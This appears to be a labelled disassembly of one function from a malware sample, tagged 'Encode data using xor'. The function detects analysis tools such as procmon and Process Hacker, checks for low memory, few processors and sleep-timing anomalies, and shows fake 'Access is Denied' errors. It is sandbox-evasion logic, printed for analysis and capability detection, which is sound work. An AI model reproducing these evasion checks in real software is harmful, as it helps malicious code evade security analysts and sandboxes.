Function at 0x140003b48
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x278]
sub rsp, 0x360
mov rax, qword [section..data]
mov r15d, 0x190
test rax, rax
jne 0x140003b98
mov ecx, r15d
call fcn.140001034
test rax, rax
je 0x140003b91
mov rcx, rax
call fcn.140001644
mov qword [section..data], rax
call qword [rax + 0xb8]
test eax, eax
je 0x140003bac
mov eax, 1
jmp 0x14000403a
mov rax, qword [section..data]
test rax, rax
jne 0x140003bd4
mov rcx, r15
call fcn.140001034
test rax, rax
je 0x140003bcd
mov rcx, rax
call fcn.140001644
mov qword [section..data], rax
mov rax, qword [rax + 0x50]
xor edx, edx
lea ecx, [rdx + 2]
call rax
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140004038
mov rax, qword [section..data]
xor esi, esi
xor ebx, ebx
mov dword [rbp + 0x20], 0x238
test rax, rax
jne 0x140003c1f
mov rcx, r15
call fcn.140001034
test rax, rax
je 0x140003c18
mov rcx, rax
call fcn.140001644
mov qword [section..data], rax
mov rax, qword [rax + 0xd0]
jmp 0x140003e0f
mov r8d, 0xd624aa78
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x20]
call fcn.140004294
mov rcx, rax
call fcn.14000440c
mov rdx, rcx
lea rcx, [rbp + 0x4c]
call fcn.1400029ec
test al, al
je 0x140003c5c
inc esi
mov r8d, 0x5114d3a
lea rdx, str.python.exe
lea rcx, [rsp + 0x20]
call fcn.1400041ec
mov rcx, rax
call fcn.1400043e8
mov rdx, rcx
lea rcx, [rbp + 0x4c]
call fcn.1400029ec
mov r8d, 0xfd2dc8f8
movzx r14d, al
lea rdx, str.taskmgr.exe
lea rcx, [rsp + 0x20]
call fcn.14000414c
mov rcx, rax
call fcn.1400043c4
mov rdx, rcx
lea rcx, [rbp + 0x4c]
call fcn.1400029ec
movzx eax, al
lea rdx, str.procmon.exe
mov r8d, 0x9ebb3784
lea rcx, [rsp + 0x20]
or r14d, eax
call fcn.14000414c
mov rcx, rax
call fcn.1400043c4
mov rdx, rcx
lea rcx, [rbp + 0x4c]
call fcn.1400029ec
movzx eax, al
lea rdx, str.resmon.exe
mov r8d, 0x6dca1005
lea rcx, [rsp + 0x20]
or r14d, eax
call fcn.1400041ec
mov rcx, rax
call fcn.1400043e8
mov rdx, rcx
lea rcx, [rbp + 0x4c]
call fcn.1400029ec
movzx eax, al
lea rdx, str.eventvwr.exe
mov r8d, 0xaa5d74d9
lea rcx, [rsp + 0x20]
or r14d, eax
call fcn.140004294
mov rcx, rax
call fcn.14000440c
mov rdx, rcx
lea rcx, [rbp + 0x4c]
call fcn.1400029ec
xor edx, edx
movzx eax, al
lea rcx, [rsp + 0x20]
or r14d, eax
lea r8d, [rdx + 0x48]
call fcn.1400049b0
xor r9d, r9d
mov cl, r9b
or cl, 0xc7
movsx eax, cl
mov r8b, cl
not r8b
not cl
xor r8d, eax
movzx eax, cl
and r8d, 0x56
xor r8d, eax
mov eax, 0x80808081
mul r8d
shr edx, 7
imul eax, edx, 0xff
sub r8d, eax
lea rax, str.processhacker.exe
mov al, byte [rax + r9*2]
xor al, r8b
mov word [rsp + r9*2 + 0x44], r8w
movsx eax, al
mov word [rsp + r9*2 + 0x20], ax
inc r9
cmp r9, 0x12
jb 0x140003d62
lea rcx, [rsp + 0x20]
call fcn.1400043a0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x4c]
call fcn.1400029ec
movzx eax, al
lea ecx, [rbx + 1]
or eax, r14d
mov rax, qword [section..data]
cmove ecx, ebx
mov ebx, ecx
test rax, rax
jne 0x140003e08
mov rcx, r15
call fcn.140001034
test rax, rax
je 0x140003e01
mov rcx, rax
call fcn.140001644
mov qword [section..data], rax
mov rax, qword [rax + 0xd8]
lea rdx, [rbp + 0x20]
mov rcx, rdi
call rax
test eax, eax
jne 0x140003c2b
mov rax, qword [section..data]
test rax, rax
jne 0x140003e48
mov rcx, r15
call fcn.140001034
test rax, rax
je 0x140003e41
mov rcx, rax
call fcn.140001644
mov qword [section..data], rax
mov rcx, rdi
call qword [rax + 0x38]
cmp esi, 1
jg 0x140004038
test ebx, ebx
jle 0x140003e86
mov r8d, 0x4e3c601e
lea rdx, str.Error_0x80000005:_Access_is_Denied
lea rcx, [rsp + 0x20]
call fcn.140004098
mov rcx, rax
call fcn.14000437c
call fcn.1400033fc
mov eax, ebx
jmp 0x14000403a
mov rax, qword [section..data]
mov dword [rbp - 0x20], 0x40
test rax, rax
jne 0x140003eb5
mov rcx, r15
call fcn.140001034
test rax, rax
je 0x140003eae
mov rcx, rax
call fcn.140001644
mov qword [section..data], rax
lea rcx, [rbp - 0x20]
call qword [rax + 0x98]
mov eax, 0x80000000
cmp qword [rbp - 0x18], rax
jae 0x140003ef6
mov r8d, 0x21a4a2aa
lea rdx, str.Error_0x80010005:_Access_is_Denied
lea rcx, [rsp + 0x20]
call fcn.140004098
mov rcx, rax
call fcn.14000437c
call fcn.1400033fc
mov eax, dword [rbp - 0x18]
jmp 0x14000403a
mov rax, qword [section..data]
test rax, rax
jne 0x140003f1e
mov rcx, r15
call fcn.140001034
test rax, rax
je 0x140003f17
mov rcx, rax
call fcn.140001644
mov qword [section..data], rax
call qword [rax + 0x90]
mov rdi, rax
mov rax, qword [section..data]
test rax, rax
jne 0x140003f4f
mov rcx, r15
call fcn.140001034
test rax, rax
je 0x140003f48
mov rcx, rax
call fcn.140001644
mov qword [section..data], rax
mov esi, 0x3e8
mov ecx, esi
call qword [rax + 0xe8]
mov rax, qword [section..data]
test rax, rax
jne 0x140003f84
mov rcx, r15
call fcn.140001034
test rax, rax
je 0x140003f7d
mov rcx, rax
call fcn.140001644
mov qword [section..data], rax
call qword [rax + 0x90]
mov rbx, rax
sub rbx, rdi
cmp rbx, rsi
jae 0x140003fa7
mov r8d, 0x50df0abf
lea rdx, str.Error_0x80020005:_Access_is_Denied
jmp 0x140003e68
mov rax, qword [section..data]
test rax, rax
jne 0x140003fcf
mov rcx, r15
call fcn.140001034
test rax, rax
je 0x140003fc8
mov rcx, rax
call fcn.140001644
mov qword [section..data], rax
lea rcx, [rbp - 0x50]
call qword [rax + 0x88]
cmp dword [rbp - 0x30], 2
jae 0x140004008
mov r8d, 0x25b73e3b
lea rdx, str.Error_0x80030005:_Access_is_Denied
lea rcx, [rsp + 0x20]
call fcn.140004098
mov rcx, rax
call fcn.14000437c
call fcn.1400033fc
mov eax, dword [rbp - 0x30]
jmp 0x14000403a
mov rax, qword [section..data]
test rax, rax
jne 0x140004030
mov rcx, r15
call fcn.140001034
test rax, rax
je 0x140004029
mov rcx, rax
call fcn.140001644
mov qword [section..data], rax
mov ecx, esi
call qword [rax + 0xe8]
xor eax, eax
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret